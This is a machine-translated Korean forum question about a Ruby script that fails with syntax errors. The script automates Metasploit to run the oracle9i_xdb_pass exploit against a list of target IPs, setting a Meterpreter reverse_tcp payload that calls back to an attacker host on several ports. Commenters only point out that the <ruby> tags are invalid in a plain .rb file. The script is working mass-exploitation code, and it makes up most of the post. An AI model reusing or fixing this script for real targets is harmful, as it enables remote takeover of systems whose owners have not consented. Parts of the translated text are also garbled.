저는 Metasploit을 자동화하려고했지만 성공하지 못했습니다.Metasploit에서 Ruby 스크립트를 실행하는 동안 구문 오류를 해결하는 방법
호스트의 텍스트 파일에 동일한 옵션 ("oracle9i_xdb_pass")을 사용하고 싶습니다.
이
내 코드입니다 : 내가ruby xploit.rb
를 사용하여이을 programm을 실행할 때
<ruby>
lports = ["80","443","445"]
index = 0;
targets = ["192.168.1.1","192.168.1.2","192.168.1.3"]
targets.each do |target|
run_single("use exploit/windows/http/oracle9i_xdb_pass")
run_single("set LHOST 192.168.2.7")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{lports[index]}")
run_single("set RHOST #{target}")
run_single("set ExitOnSession false")
run_single("exploit -j -z")
index = index + 1
end
</ruby>
문제는, 내가 얻을 수있다이 오류 : 당신이 아이디어를 어디서 얻었
ruby exploit.rb
exploit.rb:1: syntax error, unexpected '<'
<ruby>
^
exploit.rb:15: syntax error, unexpected '<', expecting end-of-input
</ruby>
글쎄, Ruby 구문에는 ''과 같은 내용이 없습니다. –
''HTML 열기 및 닫기 태그없이 파일을 실행 해 보셨습니까? – kparekh01
.rb 파일을 실행할 때 태그가 필요하지 않습니다. '<%= %>'html.erb 파일을 통해 루비를 표시하고자 할 때 사용할 수있는 무엇인가 – kparekh01